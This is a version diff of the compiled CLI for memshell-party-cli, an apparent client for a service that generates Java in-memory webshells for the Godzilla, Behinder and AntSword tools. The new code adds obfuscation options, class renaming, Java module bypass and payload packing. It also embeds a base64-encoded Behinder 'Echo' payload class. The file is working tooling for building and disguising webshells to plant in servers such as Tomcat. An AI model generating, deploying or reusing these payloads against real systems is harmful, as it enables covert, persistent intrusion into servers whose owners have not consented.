memshell-party-cli 0.6.0 → 0.8.0

package/dist/cli.js

@@ -1,7 +1,7 @@
 #!/usr/bin/env node
 
 // src/cli.ts
-import { Command as Command11, CommanderError as CommanderError2 } from "commander";
+import { Command as Command12, CommanderError as CommanderError2 } from "commander";
 
 // src/api/client.ts
 var ApiError = class extends Error {
@@ -18,6 +18,7 @@ var MemPartyClient = class {
   baseUrl;
   fetchImpl;
   timeoutMs;
+  generationApiVersion;
   constructor(options) {
     this.baseUrl = options.baseUrl.replace(/\/+$/, "");
     this.fetchImpl = options.fetch ?? globalThis.fetch;
@@ -29,8 +30,14 @@ var MemPartyClient = class {
     }
   }
   // ---------- config ----------
-  getServers() {
-    return this.request("GET", "/api/config/servers");
+  async getServers() {
+    const config = await this.getConfig();
+    return Object.fromEntries(
+      Object.entries(config).map(([server, tools]) => [
+        server,
+        [...new Set(Object.values(tools).flat())]
+      ])
+    );
   }
   getConfig() {
     return this.request("GET", "/api/config");
@@ -38,20 +45,68 @@ var MemPartyClient = class {
   getPackerTree() {
     return this.request("GET", "/api/config/packers/tree");
   }
-  getPackers() {
-    return this.request("GET", "/api/config/packers");
+  async getPackers() {
+    try {
+      return await this.request("GET", "/api/config/packers");
+    } catch (err) {
+      if (!(err instanceof ApiError) || err.status !== 404) throw err;
+      return (await this.getPackerTree()).map((packer) => packer.name);
+    }
   }
-  getCommandConfigs() {
+  async getCommandConfigs() {
+    const configs = await this.getShellToolConfigs();
+    const command = configs.find((config) => config.tool === "Command");
+    if (command) {
+      return {
+        encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
+        implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
+      };
+    }
     return this.request("GET", "/api/config/command/configs");
   }
+  async getShellToolConfigs() {
+    try {
+      return await this.request("GET", "/api/config/shelltool/configs");
+    } catch (err) {
+      if (err instanceof ApiError && err.status === 404) return [];
+      throw err;
+    }
+  }
+  getObfuscationOptions() {
+    return this.request("GET", "/api/config/obfuscation/options");
+  }
+  async getProbeResponseServers() {
+    try {
+      return await this.request("GET", "/api/config/probe/response/servers");
+    } catch (err) {
+      if (err instanceof ApiError && err.status === 404) return [];
+      throw err;
+    }
+  }
   getVersion() {
     return this.request("GET", "/api/version");
   }
   // ---------- generation ----------
-  generateMemShell(req) {
-    return this.request("POST", "/api/memshell/generate", {
-      json: req
-    });
+  async generateMemShell(req) {
+    const apiVersion = await this.getGenerationApiVersion();
+    try {
+      return await this.request("POST", "/api/memshell/generate", {
+        json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
+      });
+    } catch (err) {
+      if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
+        throw new ApiError(
+          `${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
+          err.status,
+          err.url
+        );
+      }
+      throw err;
+    }
+  }
+  getGenerationApiVersion() {
+    this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
+    return this.generationApiVersion;
   }
   generateProbe(req) {
     return this.request("POST", "/api/probe/generate", {
@@ -65,6 +120,16 @@ var MemPartyClient = class {
       raw: true
     });
   }
+  decodeBytecode(classBase64) {
+    return this.request("POST", "/api/bytecode/decode", {
+      text: classBase64
+    });
+  }
+  transformBytecode(req) {
+    return this.request("POST", "/api/bytecode/transform", {
+      json: req
+    });
+  }
   // ---------- transport ----------
   async request(method, path, opts = {}) {
     const url = `${this.baseUrl}${path}`;
@@ -118,6 +183,26 @@ var MemPartyClient = class {
     return JSON.parse(rawText);
   }
 };
+function toLegacyMemShellRequest(req) {
+  const { pass, key, paramName, template, ...common } = req.shellToolConfig;
+  const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
+  return {
+    ...req,
+    shellConfig: {
+      ...shellConfig,
+      probe: shellConfig.probe ? true : void 0
+    },
+    shellToolConfig: {
+      ...common,
+      godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
+      godzillaKey: key,
+      commandParamName: paramName,
+      commandTemplate: template,
+      behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
+      antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
+    }
+  };
+}
 
 // src/core/config.ts
 import { readFileSync } from "fs";
@@ -185,6 +270,8 @@ Examples:
   $ memparty config tools Tomcat     # tools available on one server (values for gen -t)
   $ memparty config packers          # packer tree (values for gen -p)
   $ memparty config command          # Command-tool encryptors and impl classes
+  $ memparty config tool-configs     # v3+ tool parameter names and enum values
+  $ memparty config obfuscation     # v3+ obfuscation option reference
 `
   );
   config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
@@ -220,6 +307,31 @@ Examples:
   ${p.children.join(", ")}` : p.name)
     );
   });
+  config.command("tool-configs").description("List shell tool parameters (empty for v2 backends)").option("--json", "output raw JSON").action(async (opts, cmd) => {
+    const client = createClient(cmd.optsWithGlobals());
+    const configs = await client.getShellToolConfigs();
+    printJsonOrLines(
+      configs,
+      opts.json,
+      () => configs.length ? configs.flatMap((config2) => [
+        config2.tool,
+        ...config2.params.map(
+          (param) => `  ${param.name} (${param.type})${param.options.length ? `: ${param.options.join(", ")}` : ""}`
+        )
+      ]) : ["No v3 shell-tool config endpoint on this backend."]
+    );
+  });
+  config.command("obfuscation").description("List obfuscation options (MemShellParty v3+)").option("--json", "output raw JSON").action(async (opts, cmd) => {
+    const client = createClient(cmd.optsWithGlobals());
+    const options = await client.getObfuscationOptions();
+    printJsonOrLines(
+      options,
+      opts.json,
+      () => options.map(
+        (option) => Object.entries(option).map(([key, value]) => `${key}=${JSON.stringify(value)}`).join(" ")
+      )
+    );
+  });
   config.command("command").description("List Command-tool encryptors and implementation classes").option("--json", "output raw JSON").action(async (opts, cmd) => {
     const client = createClient(cmd.optsWithGlobals());
     const cc = await client.getCommandConfigs();
@@ -230,9 +342,160 @@ Examples:
   });
 }
 
-// src/commands/connect.ts
+// src/commands/bytecode.ts
+import { readFileSync as readFileSync2 } from "fs";
 import { Option } from "commander";
 
+// src/core/output.ts
+import { writeFileSync } from "fs";
+var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
+function hasBinaryExtension(path) {
+  const lower = path.toLowerCase();
+  return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
+}
+function shouldDecode(opts) {
+  if (opts.decode !== void 0) return opts.decode;
+  if (opts.outFile) return hasBinaryExtension(opts.outFile);
+  return false;
+}
+function emitPayload(payload, opts, sinks = {}) {
+  const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d));
+  const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
+  const decoded = shouldDecode(opts);
+  if (opts.outFile) {
+    if (decoded) {
+      const buf = Buffer.from(payload, "base64");
+      writeFile(opts.outFile, buf);
+      return { destination: opts.outFile, size: buf.length, decoded: true };
+    }
+    writeFile(opts.outFile, payload);
+    return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
+  }
+  if (decoded) {
+    const buf = Buffer.from(payload, "base64");
+    writeStdout(buf.toString("binary"));
+    return { destination: "stdout", size: buf.length, decoded: true };
+  }
+  writeStdout(payload.endsWith("\n") ? payload : `${payload}
+`);
+  return { destination: "stdout", size: payload.length, decoded: false };
+}
+function hasMultiplePackResults(r) {
+  return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
+}
+function emitSinglePackResult(r, opts, sinks = {}) {
+  if (hasMultiplePackResults(r)) {
+    const n = Object.keys(r.allPackResults).length;
+    throw new Error(
+      `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
+    );
+  }
+  if (r.packResult === void 0) {
+    throw new Error("Server returned no packResult.");
+  }
+  return emitPayload(r.packResult, opts, sinks);
+}
+
+// src/core/obfuscation.ts
+function parseObfuscationOptions(input3) {
+  if (input3 === void 0 || input3.trim() === "") return void 0;
+  const options = {};
+  for (const entry of input3.split(/[,\n]/)) {
+    const separator = entry.indexOf("=");
+    const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
+    if (separator < 0 || key === "") {
+      throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
+    }
+    if (Object.hasOwn(options, key)) {
+      throw new Error(`Duplicate obfuscation option "${key}".`);
+    }
+    const value = entry.slice(separator + 1).trim();
+    if (value === "true" || value === "false") {
+      options[key] = value === "true";
+    } else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
+      options[key] = Number(value);
+    } else {
+      options[key] = value;
+    }
+  }
+  return options;
+}
+
+// src/commands/bytecode.ts
+function classInput(base64, file) {
+  if (file !== void 0 && base64 !== void 0) {
+    throw new Error("Pass either a Base64 argument or --file, not both.");
+  }
+  if (file !== void 0) return readFileSync2(file).toString("base64");
+  if (base64 !== void 0) return base64;
+  if (process.stdin.isTTY) {
+    throw new Error("Provide Base64 as an argument, --file <path>, or Base64 on stdin.");
+  }
+  return readFileSync2(0, "utf8");
+}
+function buildBytecodeTransformRequest(base64, opts) {
+  const renamePackage = opts.renamePackage || opts.relocateFrom !== void 0 || opts.relocateTo !== void 0;
+  if (renamePackage && (!opts.relocateFrom || !opts.relocateTo)) {
+    throw new Error("Package relocation requires both --relocate-from and --relocate-to.");
+  }
+  const obfuscation = opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(opts.obfuscationOptions) } : void 0;
+  return {
+    classBytesBase64: base64,
+    ...opts.packer === void 0 ? {} : { packer: opts.packer },
+    ...opts.bypassModule === void 0 ? {} : { byPassJavaModule: opts.bypassModule },
+    ...opts.staticInitialize === void 0 ? {} : { staticInitialize: opts.staticInitialize },
+    ...opts.shrink === void 0 ? {} : { shrink: opts.shrink },
+    ...renamePackage ? { renamePackage, relocateFrom: opts.relocateFrom, relocateTo: opts.relocateTo } : {},
+    ...opts.entryMethod === void 0 ? {} : { entryMethod: opts.entryMethod },
+    ...opts.newClassName === void 0 ? {} : { newClassName: opts.newClassName },
+    ...opts.randomName === void 0 ? {} : { randomName: opts.randomName },
+    ...obfuscation === void 0 ? {} : { obfuscation },
+    ...opts.probeMethod === void 0 ? {} : {
+      server: opts.server ?? "Unknown",
+      probe: {
+        probeMethod: opts.probeMethod,
+        probeContent: "Bytecode",
+        respHeaderName: opts.respHeaderName
+      }
+    }
+  };
+}
+function registerBytecodeCommand(program) {
+  const command = program.command("bytecode").description("Decode and transform arbitrary Java classes (MemShellParty v3+)");
+  command.command("decode").description("Decode Base64/GzipBase64 class bytes and print class metadata").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("--json", "print the full JSON response").addHelpText("after", "\nExamples:\n  $ memparty bytecode decode -f Payload.class\n  $ cat Payload.class | memparty bytecode decode --json\n").action(async (base64, opts, cmd) => {
+    const client = createClient(cmd.optsWithGlobals());
+    const result = await client.decodeBytecode(classInput(base64, opts.file));
+    if (opts.json) process.stdout.write(`${JSON.stringify(result, null, 2)}
+`);
+    else process.stdout.write(`${result.className} (${result.size} bytes)
+${result.classBytesBase64Str}
+`);
+  });
+  command.command("transform").description("Rename, relocate, instrument, obfuscate or pack a class").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("-p, --packer <packer>", "packer, e.g. DefaultBase64, JSP").option("--bypass-module", "bypass Java module restrictions").option("--static-initialize", "call the no-argument constructor from a static initializer").option("--no-shrink", "keep bytecode debug information").option("--rename-package", "enable package relocation").option("--relocate-from <prefix>", "original package prefix, e.g. javax.servlet").option("--relocate-to <prefix>", "replacement package prefix, e.g. jakarta.servlet").option("--entry-method <signature>", "add an entry method, e.g. 'public static void main(String[] args)'").option("--new-class-name <name>", "new simple or fully-qualified class name").option("--random-name", "generate a random class and package name").option("--obfuscate", "enable class obfuscation").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--server <server>", "response-wrapper server (default: Unknown)").addOption(new Option("--probe-method <method>", "embed a Bytecode response wrapper").choices(["ResponseBody", "ResponseHeader"])).option("--resp-header-name <name>", "ResponseHeader response header (random when omitted)").option("-o, --output <file>", "write the packed result, or the transformed class when no packer is given").option("--json", "print the full JSON response; outputFile is added when -o is used").addHelpText("after", "\nExamples:\n  $ memparty bytecode transform -f Payload.class --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class\n  $ memparty bytecode transform -f Payload.class --entry-method 'public static void main(String[] args)' -o Entry.class\n  $ memparty bytecode transform -f Payload.class --server Tomcat --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json\n").action(async (base64, opts, cmd) => {
+    const client = createClient(cmd.optsWithGlobals());
+    const request = buildBytecodeTransformRequest(classInput(base64, opts.file), opts);
+    const result = await client.transformBytecode(request);
+    const outputFile = opts.output === void 0 ? void 0 : result.packResult !== void 0 ? emitSinglePackResult(result, { outFile: opts.output }) : emitPayload(result.classBytesBase64Str, { outFile: opts.output, decode: true });
+    if (opts.json) {
+      process.stdout.write(`${JSON.stringify(outputFile === void 0 ? result : { ...result, outputFile }, null, 2)}
+`);
+      return;
+    }
+    logInfo(`class: ${result.className} (${result.size} bytes)`);
+    if (outputFile !== void 0) {
+      logInfo(`wrote ${outputFile.size} bytes to ${outputFile.destination}`);
+    } else if (result.packResult !== void 0) {
+      emitSinglePackResult(result, {});
+    } else {
+      process.stdout.write(`${result.classBytesBase64Str}
+`);
+    }
+  });
+}
+
+// src/commands/connect.ts
+import { Option as Option2 } from "commander";
+
 // src/connect/assets.ts
 var ECHO_CLASS_B64 = "yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsAvAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAiAM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADeCwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQKAQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9FY2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1TdGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2JvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAGcmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGlsL0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEVDAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEAEGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMMAGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEudmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIBMwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApnZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRpbC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRvcgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEAB2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsB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";
